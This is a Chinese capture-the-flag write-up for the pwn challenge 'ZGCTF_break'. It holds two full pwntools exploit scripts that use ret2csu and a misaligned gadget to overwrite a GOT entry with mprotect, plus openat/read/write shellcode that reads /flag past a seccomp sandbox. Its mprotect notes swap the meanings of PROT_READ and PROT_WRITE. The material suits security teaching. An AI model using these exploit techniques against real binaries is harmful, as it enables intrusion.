首页 > 其他分享 >ZGCTF_break

ZGCTF_break

时间:2023-04-28 23:23:05浏览次数:40  
标签:p64 bss mov x48 break ZGCTF x00 payload

这是一道相对来说复杂的题目,但是出题人说题不难,当我做出来后,确实不难。主要考点有沙箱逃逸、magic_gadget。

查看保护

img

该题开了沙箱,禁掉了execve和open的系统调用,能猜到这题是要打orw的,虽然禁掉了open,但我们可以调用openat函数,效果是一样的。

img

IDA静态调试

伪c代码很简单,可以向buf缓冲区输入0x300字节,buf只有0x20,妥妥的溢出,而且没开canary。可以向602060输入0x300字节。接着关闭了标准输入,标准输出。再进入if语句,如果满足条件就跳转到602060执行。

img

解题思路

到这里思路已经很清晰了,存在栈溢出可以控制程序执行流,又可以向bss写入大量数据,并且可以跳转到bss执行输入的内容,那就直接放shellcode打orw嘛。呃、、等等,我好像没办法满足if语句的条件,不过这个好办,可以控制执行流的话直接覆盖返回地址为call_602060。不过,最关键的是,程序开了NX保护,并且这道题是部署在乌班图18.04上的,bss段和堆栈中均没有执行权限,输入的shellcode无法执行。怎么办,这时候又长知识了,可以使用mprotect系统调用函数去更改一个内存页的权限为可执行,这样问题就解决了。也就是说现在需要造一个mprotect函数,这里需要用到一个magic_gadget,如下。

add    dword ptr [rbp-0x3d], ebx
nop    dword ptr [eax+eax*1+0x0]
repz ret

核心在于add那一行,它把rbp的值减去0x30以后的值里放的内容加上ebx的值,它的威力还是很大的,可以篡改got表(计算出篡改函数和被篡改函数之间的偏移放入rbx,将被篡改函数的got表地址加上0x3d放入rbp),或者向bss段任意写入内容(bss段刚开始全为0,也会就是说我向其中加什么,bss段就是什么)

寻找magic_gadget

这个migic_gadget对应的机器码是015dc3,直接用这条命令在程序里找就行了,一般64位程序里都会有,参数是opcode。

img

利用magic_gadget造一个mprotect函数

要利用magic_gadget的前提就是要控制rbp和ebx,可以使用ret2csu。这里选择篡改printf函数的got表,仔细观察可以发现,程序里的printf函数是出题人精心布置的,它的三个参数正好是mprotect所需要的参数。

payload+=p64(csu_1)#就是一次普通的csu
payload+=p64(p_m_offset)#ebx中放两个函数间的偏移
payload+=p64(printf_got+0x3d)#rbp中放printf的got表,注意要加上0x3d
payload+=p64(0)*4
paylaod+=p64(magic_gadget)#执行magic

寻找两个函数间的偏移,偏移为如图0xb69a0img

可以看到刚开始printf的got表是正常的

img

执行完后printf的got表将存放mprotect函数地址,见下图。img

接着就通过printf函数执行mprotect,可以看到rdi,rsi,rdx参数正合适。img
img
已经具有rwx的段了,只需要最后一步执行shellcode就可以得到flag

img

img

EXP

from tools import *
p,elf,libc=load('break') 
context.log_level="debug"
#debug(p,0x400B8A)
magic_gadget=0x0000000000400738
p_m_offset=0xb69a0
printf_got=0x601028
call_printf=0x400AEA
csu_1=0x400B8A
call_bss=0x400B21
ret=0x400B94

#伪造mprotect函数,开辟具有可执行权限的bss段
payload=b'a'*0x28+
payload+=p64(csu_1)
payload+=p64(p_m_offset)
payload+=p64(printf_got+0x3d)
payload+=p64(0)*4
payload+=p64(magic_gadget)
payload+=p64(call_printf)#程序已经设计好的,执行完printf后会call_bss执行shellcode,得到flag

pause()
p.send(payload)
#push指令最多只能跟四字节数据,所以汇编这样写是错误的:"push 0x67616c662f pop rdi",只能先把数据复制到无用寄
#存器再把该寄存器入栈进行操作。

shellcode="""
mov rax,257 
mov r8,0x67616c662f  
push r8
mov rsi,rsp
xor rdi,rdi
xor rdx,rdx
syscall
xor rax,rax
mov rdi,3
mov rsi,0x602480
mov rdx,0x50
syscall
mov rax,1
mov rdi,2
mov rsi,0x602480
mov rdx,0x50
syscall
"""
payload="\x48\xC7\xC0\x01\x01\x00\x00\x49\xB8\x2F\x66\x6C\x61\x67\x00\x00\x00\x41\x50\x48\x89\xE6\x48\x31\xFF\x48\x31\xD2\x0F\x05\x48\x31\xC0\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC6\x88\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x88\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x0F\x05"
pause()#沙箱禁掉了open,这里选择调用openat,效果一样
p.send(payload)#将shellcode放入bss段,以便后续执行
p.interactive()
注意

push指令最多只能跟四字节数据,所以shellcode这样写是错误的:"push 0x67616c662f pop rdi",只能先把数据复制到无用寄
存器再把该寄存器入栈进行操作。

我第一次的做法

身为萌新的我,人物设定注定是要走弯路的,当时没有看穿出题人的用意,printf函数根本没用上,在造mprotect函数的时候,就是看着哪个函数不顺眼就改谁的got表,当时是毫不犹豫地改了close函数。

exp
from tools import *
p,elf,libc=load('break')
#p=remote("10.197.2.35",3006)
context.log_level='debug'
#debug(p,0x400B94)
magic_offset1=0xaf70
magic_addr=0x0000000000400738
csu_1=0x400B8A
csu_2=0x400B70
bss_ye=0x602000
bss=0x602060
close=0x601030
callbss=0x400B18
#利用magic_gadget造mprotect
payload=b'a'*0x28
payload+=p64(csu_1)
payload+=p64(magic_offset1)
payload+=p64(close+0x3d)
payload+=p64(0)*4
payload+=p64(magic_addr)

#弯路由此开始,由于改的是close的got表,在调用mprotect函数时需要自己设定好参数,只能打一次完整csu
payload+=p64(csu_1)
payload+=p64(0)
payload+=p64(1)
payload+=p64(close)
payload+=p64(bss_ye)
payload+=p64(0x100000)
payload+=p64(7)
payload+=p64(csu_2)

"""
到这里已经改造出了rwx的bss段,但是程序会从csu2往下走到csu1,向外pop数据 ,因此还需要填充一些垃圾数据
在这里还有一个坑,因为我之后是把call rdx指令的地址放到栈中去执行bss段,而rdx里又是rbp减去一个偏移得到的地址,#所以必须要把rbp的值控制一下才行,而且在shellcode前还要放一个指向shellcode的地址。见下图。
"""
payload+=p64(0)*2
payload+=p64(0x602070)
payload+=p64(0)*4
payload+=p64(callbss)
pause()
p.send(payload)
payload=p64(0x602068)
payload+=b"\x49\xB8\x2F\x66\x6C\x61\x67\x00\x00\x00\x41\x50\x48\x89\xE6\x31\xD2\x31\xFF\x68\x01\x01\x00\x00\x58\x0F\x05\x31\xC0\x6A\x00\x5F\x6A\x50\x5A\x48\xC7\xC6\x48\x24\x60\x00\x0F\x05\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x48\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"
pause()
p.send(payload)
p.interactive()
'''
mov r8,0x67616c662f
push r8
mov rsi, rsp
xor edx, edx
xor edi, edi
push 257
pop rax
syscall
xor eax, eax
push 0
pop rdi
push 0x50
pop rdx
mov rsi,0x602448
syscall
mov rdi,2
mov rsi,0x602448
mov rdx,0x50
mov rax,1
syscall'''

img

通过分析这条指令,rbp减去0x10后得到一个地址A,这个地址指向的内容应该是shellcode的地址B,我让地址A为0x602060,在输入shellcode之前先放一个0x602068的地址也就是shellcode的地址到0x602060。现在也就是说rbp减去0x10后为0x602060,然后0x602060里放的是0x602068(shellcode),所以rbp应该被设置成0x602060加0x10也就是0x602070。这样便可以顺利执行了。

img

奇怪的知识又增长了

magic_gadget

它并不是特指某个代码段,而是一些具有奇效的代码片段的统称。本题中使用的magic_gadget其实正常情况下并不存在,是通过机器码错位得到的。详情见easyrop_2022胖哈勃春季赛 | ZIKH26's Blog

mprotect函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

本题中mprotect函数的参数为(0x602000,0x1000,7)

参考链接:https://blog.csdn.net/roland_sun/article/details/33728955

orw函数的参数

本题中它们的参数分别是

openat(0,/flag,0)257 //注意openat的参数是绝对路径要加上根目录

read(openat返回值,bss段地址,0x50)0

write(标准错误流2,bss段地址,0x50)1

题目附件

链接:https://pan.baidu.com/s/1TUXgJw3mFw_dBhbfQSUAIQ
提取码:1234

标签:p64,bss,mov,x48,break,ZGCTF,x00,payload
From: https://www.cnblogs.com/Sta8r9/p/17363386.html

相关文章

  • for循环中的continue与break
    二者区别:break:退出所有的循环continue:跳出当前的一次循环break和continue都是用来控制循环结构的,主要是停止循环。1.break有时候我们想在某种条件出现的时候终止循环而不是等到循环条件为false才终止。这是我们可以使用break来完成。break用于完全结束一个循环,跳出循环体执......
  • ZGCTF_note
    这是一道很简单的的题,甚至都说不出来它有什么考点,如果非要说的话,可能需要对ida、gdb、栈不那么陌生吧。查看保护IDA静态分析主函数是一个菜单,通过4008e3函数读入选项。这个函数允许修改602120指定一字节的内容,并且只能执行两次。这是说正常情况下,仔细观察可以发现,v3为有符号......
  • break、continue、return的区别
    (1)break常在switchcase中使用,也可以在循环中使用。作用:当遇到break,则结束当前整个switchcase语句或者当前整个循环。执行外面语句。(2)continue:只能在循环中使用。作用是结束当前这一次循环,执行下一次循环。(3)return:在方法中使用,作用是结束当前方法,并把结果返回到方法的调用处。如......
  • php exit、return、break、continue之间的区别,详细介绍
    相信大家在php开发中有几个常用的停止程序和循环的关键字的误区( exit、return、break、continue)exit退出所有脚本,是个函数return语言结构的用法---作用:终止函数的执行和从函数中返回一个值break结束当前for,foreach,while,do..while或者switch结构的执行(break可以接受一......
  • 5.2.3 从嵌套的循环中跳出:break只能跳出其所在的循环
         ......
  • 5.2.1 循环控制:如何用break和continue来控制循环
          ......
  • go 中break ,continue , goto, return 使用
    //break可以结束当前最近的循环,不会阻碍后面的输出,如果想结束外层的循环,可以使用标签,fori:=1;i<=5;i++{forj:=2;j<=4;j++{fmt.Printf("i:%v,j:%v\n",i,j)if(i==2&&j==2){break}......
  • C# 中break 和 continue 和 return在if语句和for循环中的区别
     break是跳出当前循环就是最近的一次循环,继续执行外循环,continue是指结束本次循环,这次循环后边的不执行了,继续最内层循环的循环break是跳到了外层循环,return则终止该方法,后边的都不执行 可以使用switch iffor进行测试......
  • break和continue关键字的使用
    break和continue关键字的使用使用范围循环中使用的作用break:switch-case、循环结构中结束当前循环continue:循环结构中结束当次循环......
  • #yyds干货盘点#python循环中的 break、continue 语句及 else 子句
    break 语句和C中的类似,用于跳出最近的 for 或 while 循环。循环语句支持 else 子句;for 循环中,可迭代对象中的元素全部循环完毕,或 while 循环的条件为假时,执行该子句;break 语句终止循环时,不执行该子句。请看下面这个查找素数的循环示例:>>>forninrange(2,10):.........